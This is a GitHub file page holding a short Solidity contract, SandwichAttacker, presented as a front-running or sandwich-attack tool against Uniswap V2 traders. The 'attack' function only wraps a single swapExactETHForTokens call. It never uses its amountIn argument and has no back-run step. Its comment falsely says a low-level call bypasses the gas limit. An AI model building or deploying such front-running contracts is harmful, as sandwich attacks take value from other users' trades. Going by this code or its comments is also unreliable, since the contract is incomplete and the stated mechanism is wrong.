-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSandwichAttacker.sol
34 lines (28 loc) · 993 Bytes
/
SandwichAttacker.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract SandwichAttacker {
IUniswapV2Router02 public immutable uniswapRouter;
constructor(address _uniswapRouter) {
uniswapRouter = IUniswapV2Router02(_uniswapRouter);
}
function attack(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable {
// Use a low-level call to bypass the gas limit and execute the front-running transaction
(bool success, ) = address(uniswapRouter).call{value: msg.value}(
abi.encodeWithSignature(
"swapExactETHForTokens(uint256,address[],address,uint256)",
amountOutMin,
path,
to,
deadline
)
);
require(success, "Front-running transaction failed");
}
}